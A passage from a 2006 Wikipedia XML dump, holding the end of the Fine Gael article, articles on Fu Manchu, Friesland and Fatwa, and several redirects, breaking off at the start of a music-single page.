When James Dillon resigned as Fine Gael leader in 1965, Liam Cosgrave (the son of [[Cumann na nGaedheal]] founder [[W.T Cosgrave]]) was chosen to replace him. The swift changeover was viewed as a means of keeping control of the party away from the emerging centre left wing of the party. In the wake of the Fianna Fáil [[Arms Crisis]] and Cosgrave's strong performances in opposition in defending the institutions of the State, the party was well positioned to return to Government with the Labour Party (which had ruled out coalition in its election campaign). After a break of sixteen years, Fine Gael returned to power in [[Irish General Election, 1973|1973]], at the head of a ''National Coalition'' government with Labour, under Cosgrave's leadership. That government has generally been regarded as a good government, but was hit by frequent problems. Some of these were outside its control (for example the [[1973 energy crisis|1970s oil crisis]]) and escalating violence in [[Northern Ireland]], while others were its own direct creation &amp;mdash; notably the  verbal attack on [[Cearbhall Ó Dálaigh|President Cearbhall Ó Dalaigh]] by the Minister for Defence, [[Patrick Donegan]], in which he called the President a &quot;thundering disgrace&quot;.  President Ó Dálaigh's subsequent resignation in 1976 severely damaged the National Coalition's reputation. 

Cosgrave, like his father before him, showed a fierce determination to defend the institutions of the state and would not compromise with extremists, instead working towards reconciliation. The National Coalition is best remembered for its attempts to build a power shairing executive in Northern Ireland through the [[Sunningdale Agreement]]. The Sunningdale Agreement collapsed after a [[loyalist]] [[general strike]]. However, it left a legacy of compromise that would lead to later Agreements aimed at bringing peace to the troubled region. In 1977 the Fine Gael/Labour government suffered a heavy defeat, with Fianna Fáil winning an unprecedented 20-seat majority in the 148-seat Dáil, a landslide under [[Proportional Representation]].

===Garret FitzGerald===
[[Image:Garretfitz.jpg|thumb|left|Professor Garret FitzGerald served as [[Taoiseach]] twice]]
Cosgrave resigned the leadership and was replaced by [[Garret FitzGerald]]. FitzGerald had been a successful Minister for Foreign Affairs in the National Coalition, his affable style and liberal views did much to change the stereotypical European view of Ireland (and perhaps Ireland of itself).  FitzGerald was one of Ireland's most popular politicians and son of [[Desmond FitzGerald]], a Cumann na nGaedheal Minister for External Affairs. He moved Fine Gael to the left and promoted the [[Liberalism|Liberal]] Agenda. He also founded the autonomous youth movement [[Young Fine Gael]], while the party attracted thousands of new members. Fine Gael seemed trendy under FitzGerald's leadership (for instance, [[U2]] endorsed them at this time). Fine Gael's revitalisation was of such a scale that by the November [[1982]] general election, Fine Gael was only five seats behind Fianna Fáil in [[Dáil Éireann]] and ''bigger'' than the party in the [[Oireachtas]] (both houses of parliament put together). As Taoiseach, FitzGerald attempted to create a more pluralist Republic. In 1985 after lengthy negotiations he succeeded in negotiating the [[Anglo-Irish Agreement]]. This gave the Republic a say in the affairs of Northern Ireland while improving the Anglo-Irish relationship. FitzGerald headed three  governments: 1981 &amp;ndash; February 1982, 1982 &amp;ndash; 1987, and a short-lived Fine Gael minority government whenLabour withdrew from the previous coalition as tensions had developed between the coalition partners over how to tackle the economy. In 1987 the party was defeated heavily in the general election. FitzGerald resigned and his close ally and former Minister for Finance [[Alan Dukes]] replaced him. Like FitzGerald, Dukes came from the wing of Fine Gael influenced by Social Democracy.

===Decline, then the Rainbow Coalition===

From a highpoint in the 1980s, Fine Gael went into slight, then sharp decline. Despite Dukes launching the ''[[Tallaght Strategy]]'' in 1987, the party gained just four seats in the following general Election. In 1990, its candidate in the Irish presidential election, [[Austin Currie]], was pushed into a humiliating third place, behind the winner, Labour's [[Mary Robinson]] and Fianna Fáil's [[Brian Lenihan]]. This led to [[John Bruton]] replacing [[Alan Dukes]] as the party's leader. In 1989, political history was made when Fianna Fáil abandoned one of its &quot;core principles&quot;, its opposition to coalition. Having failed in 1987 and 1989 to win outright majorities, Fianna Fáil entered into a coalition administration with the [[Progressive Democrats]]. Commentators predicted that that would leave Fine Gael isolated, with Fianna Fáil able to swap coalition partners to keep itself in continual power. That indeed seemed the case when, after the 1992 general election, Fianna Fáil replaced the Progressive Democrats with the Irish Labour Party. However the Fianna Fáil-Labour coalition disintegrated in 1994, allowing Bruton to emerge as Taoiseach of a three party ''[[Rainbow Coalition]]'', involving Fine Gael, Labour and [[Democratic Left (Ireland)|Democratic Left]]. This Government's first policy initiative was the introduction of Divorce which was ratified in a referendum by a narrow majority. The Government also oversaw unprecedented economic growth and Ireland's first budget surplus in over twenty years. However, the [[Provisional IRA]] ceasefire ended in 1996, stalling the peace process. The three parties worked well together and fought the 1997 election on a united platform. However, despite positive opinion polls throughout its time in office, the Government was defeated in the 1997 general election. Fine Gael gained nine seats but Labour lost heavily and the rainbow coalition was replaced by a Fianna Fáil-[[Progressive Democrats]] coalition under [[Bertie Ahern]].

===Meltdown and Recovery===

The party had little answer as popular Taoiseach [[Bertie Ahern]] cemented his title as the ''[[Teflon character|Teflon]] Taoiseach'' (a reference to his uncanny ability to emerge unscathed from controversy after controversy). The party, facing a hostile media and criticism of Bruton's style of leadership, ditched him in 2001 in place of what was seen as the ''dream ticket'' of former Minister [[Michael Noonan]] for leader and former minister [[Jim Mitchell]] for deputy leader. However the dream proved to be a nightmare, as Fine Gael suffered its worst ever election result in the 2002 general election, declining from 54 TDs to 31. Many of its best TDs, including most of its front bench, in particular Deputy Leader Jim Mitchell, lost their seats. Noonan resigned on the night of the election result, and was replaced by [[Enda Kenny]] in the subsequent [[Fine Gael leadership election, 2002|leadership election]]. With the scale of the collapse, questions were asked as to whether the party had a future.

However, Fine Gael staged a remarkable recovery in local and [[European Parliament|European]] elections held on [[11 June]] 2004. It won 5 of the Republic of Ireland's 13 European Parliament seats (compared to just 4 seats for the ruling [[Fianna Fáil]] party), and won almost the same number of local authority seats as Fianna Fáil. Since those elections the party's membership has continued to increase while the overall party morale is at its highest level in over a decade. Furthermore, under Enda Kenny's leadership the party has agreed to enter a pre-election pact with Labour in an attempt to offer an alternative Government to the people at next [[general election]], due within 18 months. Fine Gael appears set to at least regain many of the seats it lost during the disastrous 2002 campaign at the next General Election.

The Fine Gael party has achieved an average of just over 30% of first preference votes in Irish elections since 1922

==Public Representatives==
Notable past [[Teachta Dála|Teachtaí Dála]] are
* [[John Bruton]] - Former Taoiseach
* [[Garret Fitzgerald]] - Former Taoiseach

For a list of Fine Gael [[Teachta Dála|Teachtaí Dála]] and [[Members of the European Parliament|MEP]]s, past and present see ''[[List of Irish politicians]]

'''Changes since the 2002 General Election'''

[[Liam Twomey]], elected as an Independent for Wexford, joined the Fine Gael Parliamentary Party in September 2004.

[[John Bruton]] resigned his Dáil seat in November 2004 to become EU Ambassador to the US, and was replaced in the  March 2005 by-election by [[Shane McEntee]], also from Fine Gael.

== Associated figures==
[[Michael Collins (Irish leader)|Michael Collins]], [[W.T Cosgrave]], [[Kevin O'Higgins]], [[Eoin O'Duffy]], [[Richard Mulcahy]], [[John A. Costello]], [[James Dillon]], [[Liam Cosgrave]], [[ Tom O'Higgins]], [[Garret FitzGerald]], [[Peter Barry]], [[Alan Dukes]], [[John Bruton]], [[Nora Owen]], [[Michael Noonan]], [[Jim Mitchell]]

===Fine Gael in Europe===

Fine Gael [[Members of the European Parliament]] elected in June 2004:

*[[Gay Mitchell]] - Dublin

*[[Mairead McGuinness]] - Ireland East

*[[Avril Doyle]] - Ireland East

*[[Simon Coveney]] - Ireland South

*[[Jim Higgins]] - Ireland West

Fine Gael MEPs are part of the [[European People's Party - European Democrats|Group of the European People's Party (Christian Democrats) and European Democrats]] (EEP-ED) group in the European Parliament.

==Fine Gael Front Bench==

* [[Enda Kenny]] - '''Leader of Fine Gael''' and spokesperson on [[Northern Ireland]]
* [[Richard Bruton]] - Spokesperson for [[Irish Minister for Finance|Finance]]
* [[Jim O'Keeffe]] - Spokesperson for [[Irish Minister for Justice, Equality &amp; Law Reform|Justice &amp; Law Reform]] 
* [[Bernard Allen (Irish politician)|Bernard Allen]] - Spokesperson for [[Irish Minister for Foreign Affairs|Foreign Affairs]] 
* [[Phil Hogan]] - Spokesperson for [[Irish Minister for Industry &amp; Commerce|Enterprise, Trade &amp; Employment]]  
* [[Liam Twomey]] - Spokesperson for [[Irish Minister for Health|Health And Children]]
* [[John Perry (Irish politician)|John Perry]] - Spokesperson for [[Irish Minister for the Marine &amp; Natural Resources|the Marine]] 
* [[Fergus O'Dowd]] - Spokesperson for [[Irish Minister for the Environment, Heritage &amp; Local Government|Environment, Heritage &amp; Local Government]] 
* [[Jimmy Deenihan]] - Spokesperson for [[Irish Minister for Arts, Sport &amp; Tourism|Arts, Sport And Tourism]] 
* [[David Stanton]] - Spokesperson for [[Irish Minister for Social &amp; Family Affairs|Social, Family Affairs &amp; Equality]] 
* [[Olivia Mitchell]] - Spokesperson for [[Irish Minister for Transport|Transport]] 
* [[Dinny McGinley]] - Spokesperson for [[Irish Minister for the Gaeltacht|Community, Rural And Gaeltacht Affairs]]
* [[Denis Naughten]] - Spokesperson for [[Irish Minister for Agriculture|Agriculture And Food]] 
* [[Olwyn Enright]] - Spokesperson for [[Irish Minister for Education|Education And Science]] 
* [[Billy Timmins]] - Spokesperson for [[Irish Minister for Defence|Defence]] 
* [[Bernard Durkan]] - Spokesperson for [[Irish Minister for the Marine &amp; Natural Resources|Communications &amp; Natural Resources]] 
* [[Paul Connaughton]] - Spokesperson for Regional Development 
* [[Senator]] [[Brian Hayes (politician)|Brian Hayes]] - Spokesperson on [[Dublin]].
* [[Paul Kehoe]] - [[Chief Whip]]
* [[Michael Noonan]] - Spokesperson [[Minister without portfolio|without portfolio]] and Chairman of the [[Public Accounts Committee]].

==Young Fine Gael==

Fine Gael have an active youth wing, [[Young Fine Gael]].  They were formed in [[1977]] by Garret FitzGerald and play an active part in the party's affairs and activities.

==Additional Reading==

* ''Nealon's Guide to the 29th Dáil and Seanad'' (Gill and Macmillan, 2002) (ISBN 0717132889)
* Stephen Collins, &quot;The Cosgrave Legacy&quot; (Blackwater, 1996) (ISBN 086121658X)
* Garret FitzGerald, &quot;Garret FitzGerald: An Autobiography&quot; (Gill and Macmillan, 1991) (ISBN 071711600X)
* Jack Jones, ''In Your Opinion: Political and Social Trends in Ireland through the Eyes of the Electorate'' (Townhouse, 2001) (ISBN 1860591493)
* Maurice Manning, ''James Dillon: A Biography'' (Wolfhound, 1999/2000) (ISBN 086327823X)
* Stephen O'Byrnes, ''Hiding Behind a Face: Fine Gael under FitzGerald'' (Gill and Macmillan: 1986) (ISBN 0717114481)
* Raymond Smith, ''Garret: The Enigma'' (Aherlow, 1985) (no ISBN)

==External links==
*[http://www.finegael.ie/ Official site]

==Footnote==
{{fnb|1}}  The European Democrats party is a [[eurosceptic]] group that consists mainly of the [[Conservative Party (UK)]] with the sole MEP from the [[Ulster Unionist Party]], plus twelve from the Czech Republic, one Italian pensioner and two from Portugal. The EPP and the ED have common values on most issues, but are diametrically opposed on the future direction of the European Union.


{{Political parties in Ireland}}

[[Category:Republic of Ireland political parties]]

[[de:Fine Gael]]
[[es:Fine Gael]]
[[fi:Fine Gael]]
[[fr:Fine Gael]]
[[ga:Fine Gael]]
[[he:פיין גייל]]
[[nl:Fine Gael]]
[[pl:Fine Gael]]</text>
    </revision>
  </page>
  <page>
    <title>Fu Manchu</title>
    <id>11253</id>
    <revision>
      <id>40446896</id>
      <timestamp>2006-02-20T16:47:34Z</timestamp>
      <contributor>
        <username>David.alex.lamb</username>
        <id>917191</id>
      </contributor>
      <minor />
      <comment>pluralize category:Evil genius</comment>
      <text xml:space="preserve">{{dablink|This article is about the fictional literature character.  For the distinctive [[moustache]] of which this character is an [[eponym]], see ''[[Fu Manchu moustache]]''.  For the California rock band, see '''[[Fu Manchu (band)]]'''.}}
Dr. '''Fu Manchu''' is a [[fictional character]], an [[evil genius]] of  [[China|Chinese]] origin, first featured in a series of novels by [[Birmingham]] author [[Sax Rohmer]] (real name Arthur Sarsfield Ward) during the early years of 20th century.

:&quot;Imagine a person, tall, lean and feline, high-shouldered, with a brow like [[Shakespeare]] and a face like [[Satan]], a close-shaven skull, and long, magnetic eyes of the true cat-green. Invest him with all the cruel cunning of an entire Eastern race, accumulated in one giant intellect, with all the resources of science past and present... Imagine that awful being, and you have a mental picture of Dr. Fu-Manchu, the [[yellow peril]] incarnate in one man.&quot;&amp;mdash;''The Insidious Dr. Fu Manchu''

A [[master criminal]], Fu Manchu works for the overthrow of Western civilization or the &quot;White race.&quot; His murderous plots are marked by the extensive use of apparently Asian methods; he disdains guns or explosives, prefering [[Dacoity|dacoits]], [[Thuggee|phansigars]], and members of other secret societies as his agents armed with knives, or using &quot;[[python]]s and [[king cobra|hamadryad]]s... [[fungus|fungi]] and my tiny allies, the [[bacillus|bacilli]]... my black spiders&quot; and other peculiar animals or natural chemical weapons. The most prominent of his agents is the &quot;seductively lovely&quot; Karamaneh. Fu Manchu's daughter, Fah Lo Suee, is a devious mastermind in her own right, plotting to take control of the Si-Fan from her father and making things difficult for him.

Opposing Fu Manchu are [[Commissioner]] [[Sir Denis Nayland Smith]] and Dr. Petrie. They are in the [[Sherlock Holmes|Holmes]] and [[Dr. Watson|Watson]] tradition, with Dr. Petrie narrating the stories while Nayland Smith carries the fight, combating Fu Manchu more by doggedness and determination rather than any intellectual brilliance (except in extremis). Nayland Smith and Fu Manchu have grudging respect for each other, as each is from the old school where a man keeps his word even to an enemy.
 
According to Cay Van Ash (a friend and biographer of Sax Rohmer, who wrote his own authorized pastiches ''Ten years beyond Baker Street'' and ''The Fires of Fu Manchu'') &quot;Fu Manchu&quot; was a title of honor, which meant &quot;the Warlike [[Manchu]].&quot; It was thought that the character had been a member of the Imperial family who backed the losing side in the [[Boxer Rebellion]]. In the earliest books, Fu Manchu is an assassin sent on missions by the Si-Fan, but he quickly rises to become head of that dreaded secret society. At first, the Si-Fan's goal is to throw the Europeans out of Asia; later, the group attempts to intervene more generally in world politics, while funding itself by more ordinary crime. The character remains controversial as an example of the [[racism]] and stereotyping found frequently in [[Western]] representations of the Chinese at that time.

==Books==
*''The Insidious Dr Fu Manchu'' (1913)
*''The Return of Dr Fu Manchu'' (1916)
*''The Hand of Fu Manchu'' (1917)
*''Daughter of Fu Manchu'' (1931)
*''The Mask of Fu Manchu'' (1932) 
*''The Bride of Fu Manchu'' (1933)
*''The Trail of Fu Manchu'' (1934)
*''President Fu Manchu'' (1936)
*''The Drums of Fu Manchu'' (1939)
*''The Island of Fu Manchu'' (1940)
*''The Shadow of Fu Manchu'' (1948)
*''The Wrath of Fu Manchu'' (1952)
*''Re-Enter Fu Manchu'' (1957)
*''Emperor Fu Manchu'' (1959)

==TV, serials, and feature films==
Fu Manchu has appeared as a villainous character in several [[film|motion pictures]] and [[cliffhanger]] [[serial]]s over the years, and even a [[television series]], ''[[The Adventures of Fu Manchu]]'' ([[1956]]). There were a number made around [[1930]] including ''[[The Mysterious Dr. Fu Manchu]]'' ([[1929]]) and ''[[The Return of Dr. Fu Manchu]]'' ([[1930]]). ''[[The Mask of Fu Manchu]]'' ([[1932]]), featuring [[Boris Karloff]], is considered the best of those produced in the [[1930s]]. In [[1940]], [[Republic Pictures|Republic Studios]] released ''[[The Drums of Fu Manchu]]'', a 15-episode serial considered to be one of the best the studio ever made. The name was revived in a series starring [[Christopher Lee]] in the [[1960s]] with ''[[The Face of Fu Manchu]]'' ([[1965]]), ''[[The Brides of Fu Manchu]]'' ([[1966]]), ''[[The Vengeance of Fu Manchu]]'' ([[1967]]), ''[[The Brain of Fu Manchu]]'' ([[1968]]), and finally ''[[The Castle of Fu Manchu]]'' ([[1969]]). His last major film appearance was ''[[The Fiendish Plot of Dr. Fu Manchu]]'', a [[1980]] [[parody]] starring [[Peter Sellers]] as Fu.

==In other media==
* Fu Manchu appeared, but only as &quot;The Doctor,&quot; in [[Alan Moore]]'s [[comic book]] series ''The League of Extraordinary Gentlemen''.  Moore did not have the copyright to use the character by name.
* [[DC Comics]] used Fu Manchu during the thirties with different names until they obtained a copyright licence. 
*[[Marvel Comics]] later used the same technique when they lost the rights to the character after getting them in the 1970s. Fu Manchu appeared as the father of the character [[Shang-Chi]] in the series ''Shang-Chi, Master of Kung Fu.'' In later appearances, Fu Manchu is never named, only referred to as Shang's 'father,' and never shown out of shadow. In a recent Black Panther storyline, he is referred to as &quot;Mr. Han&quot;, apparently a play on the name of the main villain in [[Enter the Dragon]].
* Fu Manchu and his daughter are the inspiration for the character Hark and his daughter Anna Hark in the comic book series [[Planetary (comics)|Planetary]].

== External links ==
* [http://www.njedge.net/~knapp/FuFrames.htm ''The Page of Fu Manchu'']
* [http://onlinebooks.library.upenn.edu/webbin/gutbook/lookup?num=173 ''The Insidious Dr. Fu Manchu''] by Sax Rohmer
* [http://onlinebooks.library.upenn.edu/webbin/gutbook/lookup?num=1183 ''The Return of Dr. Fu Manchu''] by Sax Rohmer
* [http://community-2.webtv.net/drhermes/DrHermesReviewsII/''Dr Hermes Reviews''] reviews of all the Fu Manchu books as well as those featuring Sax Rohmer's other criminal mastermind, Sumuru

[[Category:Chinese American history]]
[[Category:Film villains]]
[[Category:Literature villains]]
[[Category:Wold Newton Family Members|Manchu, Fu]]
[[Category:Pulp heroes and villians]]
[[Category:Evil geniuses]]
[[Category:Fictional Chinese]]

[[de:Dr. Fu Manchu]]
[[es:Fu Manchú]]
[[fr:Fu Manchu]]</text>
    </revision>
  </page>
  <page>
    <title>Friesland</title>
    <id>11254</id>
    <revision>
      <id>42095367</id>
      <timestamp>2006-03-03T20:17:26Z</timestamp>
      <contributor>
        <username>Big Adamsky</username>
        <id>468840</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">:''This article is about Friesland province in the Netherlands. For other uses, see [[Friesland (disambiguation)]].''
{{Infobox Dutch Province |
ename = Province of Friesland |
dname = Provincie Friesland |
fname = Provinsje Fryslân |
common_name = Friesland |
image_flag = Frisian flag.jpeg |
image_coat = Frisian coat.gif |
location_image = Friesland-Position.png |
capital = [[Leeuwarden]] |
commissioner = [[drs. E.H.T.M. (Ed) Nijpels]] |
religion_year = 1999 |
religion = [[Protestant]] 39%&lt;br /&gt;[[Catholic]] 8% |
area_land = 3.349 |
area_water = 2.392 |
area_rank = 3rd |
population_year = 2005 |
population = 642.998 |
population_rank = 8th |
density = 192 |
density_rank = 11th |
anthem = [[De âlde Friezen]] |
website = www.fryslan.nl |
}}

'''Friesland''' is a province in the north of the [[Netherlands]]. Its name in the [[Frisian language]] is ''Fryslân'', which has also been its official name since 1997, and is therefore also used in official [[Dutch language]] publications. Friesland has 643,000 inhabitants (2005) and its [[capital]] is [[Leeuwarden]] (''Ljouwert''), with 91,000 inhabitants, in the centre of the province.

==Distinguishing features==
Friesland distinguishes itself from the other eleven Dutch provinces through having its own language, which is also spoken in a minor part of the province of [[Groningen (province)|Groningen]], to the east. Closely related languages, [[Saterland Frisian language|East Frisian]] (&quot;''Seeltersk''&quot;, which is different from &quot;[[East Frisian Low Saxon|East Frisian (''Ostfriesisch'')]]&quot;, a collection of [[Low German]] dialects of [[East Frisia]]) and [[North Frisian language|North Frisian]], are spoken in the [[Saterland]] and in [[North Friesland]] areas in [[Germany]], respectively.

The [[English language]] is also closely related to [[Frisian language|Frisian]].  There is a saying about it:  &quot;As milk is to cheese, are English and Frise.&quot;

[[Image:Holstein_cows_large.jpg|thumb|left|200px|Frisian [[cattle]]]]
Friesland is mainly an agricultural province. The famous black and white [[Holstein (cattle)|Friesian]] [[cattle]] and the well known black [[Friesian horse]] originated here.
[[Tourism]], mainly on the [[lake]]s in the south west of the province, and on the [[island]]s in the [[Wadden Sea]] in the north, is an important source of income, too.

The province is also famous for its [[Speed skating|speed skaters]], and also for the [[Elfstedentocht]] (Eleven cities tour), a 253 [[kilometre]]s [[ice skating]] tour.

Another interesting feature are the many [[windmill]]s. There are 195 windmills in the province of Friesland, from a total of about 1200 in the entire country.

== Cities ==
*[[Leeuwarden]] (''Ljouwert'')
*[[Sneek]] (''Snits'')
*[[IJlst]] (''Drylts'')
*[[Sloten]] (''Sleat'')
*[[Stavoren]] (''Starum'')
*[[Hindeloopen]] (''Hylpen'')
*[[Workum]] (''Warkum'')
*[[Bolsward]] (''Boalsert'')
*[[Harlingen, Netherlands|Harlingen]] (''Harns'')
*[[Franekeradeel|Franeker]] (''Frjentsjer'')
*[[Dokkum]] (''Dokkum'')

== Major towns ==
*[[Heerenveen]] (''It Hearrenfean'')
*[[Drachten]] (mun. [[Smallingerland]])

== Municipalities ==
*[[Achtkarspelen]]
*[[Ameland]]
*[[Boarnsterhim]]
*[[Bolsward]]
*[[Dantumadeel]]
*[[Dongeradeel]]
*[[Ferwerderadiel]]
*[[Franekeradeel]]
*[[Gaasterlân-Sleat]]
*[[Gorredijk]]
*[[Harlingen, Netherlands|Harlingen]]
*[[Heerenveen]]
*[[Het Bildt]]
*[[Kollumerland c.a.]]
*[[Leeuwarden]]
*[[Leeuwarderadeel]]
*[[Lemsterland]]
*[[Littenseradiel]]
*[[Menaldumadeel]]
*[[Nijefurd]]
*[[Ooststellingwerf]]
*[[Opsterland]]
*[[Schiermonnikoog]]
*[[Skarsterlân]]
*[[Smallingerland]]
*[[Sneek]]
*[[Terschelling]]
*[[Tytsjerksteradiel]]
*[[Vlieland]]
*[[Weststellingwerf]]
*[[Wûnseradiel]]
*[[Wymbritseradiel]]

==See also==
*[[De âlde Friezen]] (Friesland's anthem)
*[[Frisia]]
*[[Frisian Islands]]
*[[Frisians]]
*[[Frisian language]]
*[[Frise]]

== External links ==
*[http://www.friesland.nl/ Website of the province]
*[http://www.i-friesland.com/history.html Ancient History of Friesland]
*[http://www.sdu.nl/staatscourant/gemeentes/gemprovin.htm#F province map showing subdivision in municipalities, link for each municipality to basic data page]
*Bus maps:
**[http://www.noordned.com/Images/Content/lijnenkaart.gif Friesland]


{{Provinces_of_the_Netherlands}}

[[Category:Friesland|*]]
[[Category:NUTS 2 Statistical Regions of Europe]]

[[af:Friesland]]
[[ca:Província de Frísia]]
[[da:Frisland]]
[[de:Friesland (Provinz)]]
[[et:Friisimaa provints]]
[[es:Frisia]]
[[eo:Frislando]]
[[fr:Frise (province)]]
[[fy:Fryslân]]
[[ko:프리슬란트 주]]
[[id:Friesland]]
[[it:Frisia]]
[[li:Friesland]]
[[nl:Friesland]]
[[nds:Fryslân]]
[[ja:フリースラント州]]
[[no:Friesland (Nederland)]]
[[pl:Fryzja (prowincja)]]
[[pt:Província da Frísia]]
[[ro:Frizia]]
[[ru:Фрисландия]]
[[simple:Friesland]]
[[sv:Friesland]]
[[tr:Friesland]]</text>
    </revision>
  </page>
  <page>
    <title>Freuds</title>
    <id>11255</id>
    <revision>
      <id>15909015</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Sigmund Freud]]
</text>
    </revision>
  </page>
  <page>
    <title>Fulham Football Club/2001 Squad</title>
    <id>11256</id>
    <revision>
      <id>15909016</id>
      <timestamp>2003-09-03T21:30:51Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <comment>#redirect [[Fulham F.C.]] (merge)</comment>
      <text xml:space="preserve">#redirect [[Fulham F.C.]]</text>
    </revision>
  </page>
  <page>
    <title>Feminist science fiction</title>
    <id>11257</id>
    <revision>
      <id>15909017</id>
      <timestamp>2002-10-17T00:14:11Z</timestamp>
      <contributor>
        <ip>213.253.40.235</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Women in science fiction]]</text>
    </revision>
  </page>
  <page>
    <title>Fellatio</title>
    <id>11258</id>
    <revision>
      <id>26935896</id>
      <timestamp>2005-10-31T02:11:11Z</timestamp>
      <contributor>
        <username>Bluefoxicy</username>
        <id>70169</id>
      </contributor>
      <comment>fix to have internal link</comment>
      <text xml:space="preserve">#REDIRECT [[Oral sex#Fellatio]]</text>
    </revision>
  </page>
  <page>
    <title>Fatwa</title>
    <id>11259</id>
    <revision>
      <id>41976863</id>
      <timestamp>2006-03-03T00:17:39Z</timestamp>
      <contributor>
        <username>Eagleamn</username>
        <id>128486</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">{{Islam}}
A '''fatwa''' ({{lang-ar|&amp;#1601;&amp;#1578;&amp;#1608;&amp;#1609;}}) plural '''fat&amp;#257;wa''' (&amp;#1601;&amp;#1578;&amp;#1575;&amp;#1608;&amp;#1609;), is a legal pronouncement in [[Islam]], issued by a religious law specialist on a specific issue. Usually a fatwa is issued at the request of an individual or a judge to settle a question where &amp;#8217;&amp;#8217;[[fiqh]],&amp;#8217;&amp;#8217; Islamic [[jurisprudence]], is unclear. A scholar capable of issuing fatwas is known as a [[Mufti]].

The overwhelming majority of fatwas are on mundane matters (for examples see the archives linked below). Several have declared war or pronounced death sentences, most notably the [[Salman_Rushdie#The_Satanic_Verses_controversy|fatwa for the execution of Salman Rushdie]] issued in 1989 by Ayatollah [[Ruhollah Khomeini]], and the [[Osama bin Laden fatwa|1998 Fatwa]] proclaimed by [[Osama bin Laden]] declaring war against America. These two fatwas, in particular, have drawn a great deal of attention in Western media, which has given rise to the use of the term '''fatwa''' to apply to statements by non-Muslims that advocate an extreme religious or political position, such as  [[Pat Robertson]]'s call for the [[assassination]] of [[Hugo Chávez]].  

Because Islam has no centralized priestly hierarchy, there is no uniform method to determine who can issue a valid fatwa and who cannot, and upon whom such fatwas are binding. Some [[Islamic scholars]] complain that too many people feel qualified to issue fatwas. 

The Sheikh of [[Al-Azhar University]] in [[Cairo]], [[Muhammad Sayid Tantawy]], who is the leading religious authority in the Sunni Muslim establishment in [[Egypt]], said the following about fatwas issued by ''himself'' or the entire Al-Azhar University:

&quot;Fat&amp;#257;wa issued by [[Al-Azhar]] are not binding; individuals are free to accept them or not. It is the right of Muslims in [[France]] who object to the [[French law on secularity and conspicuous religious symbols in schools|law banning the veil]] to bring it up to the legislative and judicial authorities. If the judiciary decides in favor of the government because the country is secular, they would be considered to be Muslim individuals acting under compelling circumstances.&quot;
[http://middleeastinfo.org/article4171.html]

In [[Morocco]], where king [[Mohammed VI of Morocco|Mohammed VI]] is also [[Amir al-Muminin]] (Commander of the faithful) have tried to organize the field by creating a scholars' council (''conseil des oulémas'') composed of muslim scholars ([[ulema]]) which is the only one allowed to issue fatwas.

In nations where [[Sharia|Islamic law]] is the basis of civil law, fatwas by the national religious leadership are debated prior to being issued. Thus, they are rarely contradictory. If two fatwas were contradictory, the ruling bodies (combined civil and religious law) attempt to define a compromise interpretation that will eliminate the resulting ambiguity.

In nations where Islamic law is not the basis of law, different Muftis can issue contradictory fatwas. In such cases, Muslims would typically honour the fatwa deriving from leadership of their religious tradition. For example, [[Sunni Islam|Sunni]] Muslims would favor a Sunni fatwa over a [[Shi'a Islam|Shiite]] one.

The word fatwa is used also loosely or as [[slang]] for other sorts of decrees, for example:-
:&quot;The [[pope]] issued a fatwa.&quot; (in a [[BBC]] [[television]] history [[television program| program]])
:&quot;The town's [[scuba diving]] [[club]]'s [[committee]] at last issued its fatwa about [[rebreather]]s.&quot;

== Quotes ==
* &quot;In Sunni Islam, a fatwa is nothing more than an opinion.&quot; ― [[Maulana Mehmood Madani]], president of the Jamaat-e-Ulema-e-Hind [http://www.outlookindia.com/full.asp?fodname=20051212&amp;fname=Cover+Story+%28F%29&amp;sid=1&amp;pn=2]
* &quot;The current fashion for online fatwas has created an amazingly legalistic approach to Islam as [[Mullah|scholars]] - some of whom have only a tenuous grip on reality - seek to regulate all aspects of life according to their own interpretation of the [[Qur'an|scriptures]].&quot; ― [[Brian Whitaker]], [[The Guardian]], [http://www.guardian.co.uk/elsewhere/journalist/story/0,,1688285,00.html January 17, 2006]

==See also==
* [[taqlid]], [[ijtihad]], [[ijma]], [[Tafsir]], &lt;!--[[blasphemy]],--&gt; [[list of Islamic terms in Arabic]], [[posek]]
&lt;!--* [[Salman Rushdie]], [[goddess]], [[Satanic Verses]], [[The Satanic Verses (novel)]], [[Cat Stevens]]--&gt;
* [[List of famous fatwas|List of famous fatāwa]]
* [[Papal bull]]

==External links==
*[http://www.representativepress.org/1998Fatwa.html The 1998 Fatwa summary and text]  
*[http://www.why-war.com/commentary/2003/12/what_fatwa_islam.html The Fatwa and Revolutionary Islamic Movements]
*[http://www.islamonline.net/livefatwa/english/select.asp Live Fatwa &amp; archive]
*[http://www.islamtoday.com/fatwa_archive_main.cfm Fatwa archive] 
*[http://www.ict.org.il/articles/fatwah.htm Osama bin Ladin&amp;#8217;s Fatwa urging jihad against Americans]
*[http://www.askimam.org/ Ask the Imam] Fat&amp;#257;wa by Mufti Ebrahim Desai (The Fatwa Department)
*[http://www.islam-qa.com/ Salafi fat&amp;#257;wa]

[[Category:Arabic words]]
[[Category:Islamic law]]


[[cs:Fatva]]
[[da:Fatwa]]
[[de:Fatwa]]
[[es:Fatwa]]
[[eo:Fatvo]]
[[fr:Fatwa]]
[[id:Fatwa]]
[[it:Fatwa]]
[[he:פתווה]]
[[nl:Fatwa]]
[[ja:ファトワー]]
[[no:Fatwa]]
[[pl:Fatwa]]
[[pt:Fatwa]]
[[sv:Fatwa]]
[[fi:Fatwa]]</text>
    </revision>
  </page>
  <page>
    <title>Relax (single)</title>
    <id>11260</id>
    <revision>
      <id>40434016</id>
      <timestamp>2006-02-20T14:48:39Z</timestamp>
      <contributor>
        <username>Jaiwills</username>
        <id>849340</id>
      </contributor>
      <comment>/* Song in pop culture */</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;225&quot; align=&quot;right&quot;
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|&quot;Relax&quot;
|-
|align=&quot;center&quot; colspan=&quot;3&quot;|[[Image:Relax_single.jpg|225px]]
|-
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|Single by [[Frankie Goes To Hollywood]]
|-
